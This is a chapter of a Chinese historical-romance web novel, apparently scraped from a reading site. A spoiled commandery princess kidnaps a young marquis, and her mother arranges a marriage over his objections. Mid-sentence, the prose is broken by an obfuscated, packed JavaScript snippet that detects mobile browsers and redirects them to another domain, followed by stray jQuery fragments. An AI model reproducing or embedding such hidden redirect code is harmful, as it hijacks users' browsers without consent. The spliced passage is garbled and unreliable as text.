沈卿时大概是怕崔望舒阳奉阴违,也顾不上体面和礼仪了,拼命想抓住长公主这个救命稻草。
他强装镇定的声音还能听出一声慌乱:“长公主,在下在这,没能当面给长公主行礼,还请长公主见谅。”
李盈一听便知道,这是沈卿时的声音,镇国侯府世代簪缨,最早的镇国侯曾随高祖打天下,有着从龙之功,之后的子弟各个人中龙凤。
这一代最出色的就属这个嫡长子沈卿时,也不知道是崔望舒胆子大,还是眼光好,刚回长安就绑了沈卿时。
李盈拿手指点了点崔望舒的额头,恨铁不成钢的说道:“你啊你,刚回来就惹事,随我进去看看。”
沈卿时最是端方守礼,循规蹈矩,没能出来见礼。肯定是被崔望舒控制住了。
进门一看果不其然,这么个大男人,被贺栩用金丝软绳捆了起来,看着还怪可怜的。
李盈连忙说道:“白芷,快给小侯爷松绑,”
出了这档子事,当着苦主的面,李盈装也得装出训斥的模样:“舒儿,你胆子真是太大了,这可是镇国侯府的小侯爷,你怎么随随便便就把人给绑过来了,还不向沈公子道歉。”
古人有言,窈窕淑女,君子好逑。崔望舒可是都听说过,当今陛下最宠爱的丽妃娘娘,是陛下还是三皇子的时候微服出巡,在民间看中,直接将人带了回去。
同样都是皇室中人,同样都是贪图美色,崔望舒怎么就不能看中了直接带走,这不公平。
崔望舒搂着李盈的胳膊,抬头看了沈卿时一眼,轻松捕捉到了沈卿时眼中的慌乱。
她勾唇一笑,崔望舒的长相看上去像个很有脑子的美女,尖尖的下巴,小巧挺立的鼻子,配上一双小鹿眼睛,即使是在美女如云的长安,崔望舒的长相也能排前三。
她摇了摇长公主的衣袖,黏黏糊糊的撒娇:“母亲,舒儿喜欢他,舒儿想收了他好不好?”
本朝公主郡主不是没有养面首的先例,长公主的小妹妹,南阳公主孀居之后,养了五六个面首,夜夜笙歌,好不快活。
自己这个乖乖巧巧的女儿,不会也变成这样吧,李盈心里有点害怕。
比李盈更害怕的是沈卿时,他的手紧紧地握着,指甲都要把手心戳烂了,想硬挤出一个笑容,表情比哭还难看,脑海中正在措辞,怎么拒绝长乐郡主这个无理的要求。
李盈率先开口:“不可,舒儿不能胡闹。”
沈卿时长舒一口气,他就知道,长公主在朝中颇有威望,行事果决,是个有政治头脑的女子,必定不会如此纵容女儿。
任性妄为的只有长乐郡主而已。
“舒儿又在胡闹什么?说给为父听听,还有比打晕兄长,当街掳走镇国侯府小侯爷更胡闹的事情吗?”崔启言得知小女儿刚回长安,就闹出这么大阵仗,太阳穴一抽一抽的疼。
崔启言不觉得崔望舒还能做出比这两件事还过分的事。
崔启言是文臣,留了长髯,看起来仙风道骨,是个儒雅俊秀的中年人,眉眼之间能看出来跟崔启政相似之处。
“爹爹,舒儿没胡闹。”崔望舒跟父亲并没有那么熟悉,相较而言,她还是更喜欢二叔。
沈卿时给崔启言行了个礼:“在下见过齐国公。”
崔启言和沈卿时同朝为官,还算熟悉:“世侄,小女顽劣,今日之事,我改日必定登门致歉。”
沈卿时现在完全不想跟崔望舒扯上任何关系,脑海里就两个字,远离,必须远离。
“哎呦,爹爹你怎么这么见外,母亲已经答应让我收了沈小侯爷啦。”崔望舒睁着眼睛说瞎话。
这是什么意思,崔启言绞尽脑汁也没想到,崔望舒竟然真的能做出来更胡闹的事情,关键是李盈竟然纵容她了?
按理说长公主不是会这么溺爱女儿的人啊,
李盈啧了一声:“舒儿,不许胡说。”
李盈看了看崔望舒,她家舒儿出落得越发漂亮了,看自己的孩子,怎么看怎么好,围堵一点,舒儿从小就被她宠着长大,保护得特别好,不懂人情世故,骄纵了些。
她家舒儿以后要嫁的人,必定是后院清净,不能纳妾的人,之前给舒儿订的顾家那门亲事,顾家男子年过四十无子才可纳妾,是个好归宿。
可惜了顾家那孩子,年纪轻轻战死沙场,想想就是件伤心事。
崔望舒长得实在是太美了,美貌有时候也是一种负担,做母亲的,总是要多为儿女打算些。
李盈的目光又落在沈卿时身上,镇国侯府沈家,门第自不用说,是配的上她家舒儿的,长相也可以,最重要的是为人正派。
二十有二尚未定亲,听说后院也没有通房,镇国侯府的侯夫人也是性格豪爽之人,不像是会刁难儿媳的婆母。
要是两个孩子真凑到一起,说不定还真是门好亲事,最重要的是,她家舒儿喜欢。
崔望舒七年的时间都不在李盈身边,对这个女儿,自然是愧疚的,不过就是想要个男人,要就要了。
李盈当即拍板决定:“舒儿,沈小侯爷身份尊贵,你怎么能说这种话,这样吧,一会让你父亲把沈公子亲送回去,与镇国侯亲自商量一下你们的婚事。”
“男大当婚,女大当嫁,你们两个人也都到了婚嫁的年纪,我看这门亲事倒是不错,公爷你说呢?”
崔启言半天说不出一句话,小女儿胡闹也就罢了,怎么公主也跟着她胡闹,亲事是这么简单就能定下来的吗,他还没考察那个沈卿时究竟是不是个好人,就要当自己的女婿了?
崔启言还不愿意呢。
最不愿意的是沈卿时啊,没有人问过他的意见,他看了一眼崔望舒,崔望舒睁着一双泛着水光的眼睛,目不转睛的看着他,仿佛自己已经是崔望舒的囊中之物。
他连忙行礼:”殿下,国公爷。晚辈才疏学浅,卑陋粗鄙,恐难当郡主良配,再者说婚事讲究一个父母之命,媒妁之言,此事晚辈短短不敢自己做主。”
崔望舒一手挽着长公主,一手挽着齐国公,嗔怒一声:“哼,母亲父亲,他是不想娶我吗?”
她想得到的东西,还没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533569|170881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有得不到的。
最开始,崔望舒可能只是看沈卿时长得好看,把人绑回来玩玩,可是沈卿时竟然拒绝她,这勾起了崔望舒的征服欲,勉强又如何,她偏要勉强。
“母亲,把沈卿时扣在这吧,他不答应的话,就哪里都不让他去。看他如何拒绝。”崔望舒出主意道。
不是崔望舒恶毒想出这种法子,是她只能想出这种法子,那些弯弯绕绕,请君入瓮的主意,崔望舒是想不出来的,这种办法简单粗暴直接,立竿见影。
这一点李盈却是不依她了,沈卿时背后是镇国侯府,他还是朝廷命官,怎可随意囚禁。
“舒儿,听话,夫君你去把沈小侯爷送回去,顺便提一下婚事的事,我先带舒儿回府。”李盈安排道。
崔望舒的意见没有被采纳,站在旁边撅起了嘴,脸上的表情就写着三个字,不高兴。
她眼尖,看见了沈卿时腰间挂的玉佩,上面刻着一个时字,就在沈卿时离开经过崔望舒的时候,崔望舒一把抓下来了他的玉佩。
随即崔望舒躲到了长公主身后,贺栩在旁边,轻咳一声,手指有节奏的点着腰中佩刀,就差直接张嘴威胁沈卿时了。
长公主既然有意让他俩结亲,自然不会让崔望舒还回去。
笑着打圆场:“沈小侯爷,舒儿顽劣惯了,她怕是十分钟爱你这个玉佩,夺人所爱是舒儿的不对,这样吧,晚些时候我派人把东西送到镇国侯府。”
“母亲,这个玉佩我要了,母亲。”崔望舒又开始撒娇。
长公主按住崔望舒的手,淡淡地说道:“舒儿,听话。”
李盈只是说要送东西,又没说送到侯府的一定是沈卿时的玉佩,这个傻舒儿,一点都不懂得变通,还是得带在身边多教教她。
“夫君,送沈小侯爷回府吧。”长公主话里话外都不给沈卿时留解释和拒绝的机会了。
沈卿时坐在马车上的时候,整个人还云里雾里的,不是,他不就出了个门吗,怎么就要议亲了?
他的教养不允许他随意评价姑娘家,但这个行为的确不好啊,强抢民女不对,强抢男子应该也不对吧。
崔启言面对这个要成为自己女婿的沈卿时,闺女喜欢,夫人同意,他也没有更多的话语权了,当初生崔望舒的时候,他和长公主就约定好了,崔望舒的婚事,由长公主做主。
事已至此,崔启言只能劝说自己,接受这个女婿,沈卿时的确不错,不是受荫封碌碌无为的子弟,是有真才实学的,在官场上面对前辈不卑不亢,也算是如鱼得水,未来一定是个有作为的人。
崔望舒身份尊贵,已经封无可封了,他对女儿最大的希望,便是能找个喜欢的人共度余生,如果女儿真的喜欢,他也就不拦着了。
“贤侄啊,我家舒儿任性了些,以后你可要多多海涵啊,有什么做不到的地方,别朝着舒儿发脾气。”贺栩真的会打你。
崔启言顿了顿,后半句话没说出来,还是别吓唬未来女婿了。
沈卿时:“……”
他没答应这门婚事啊!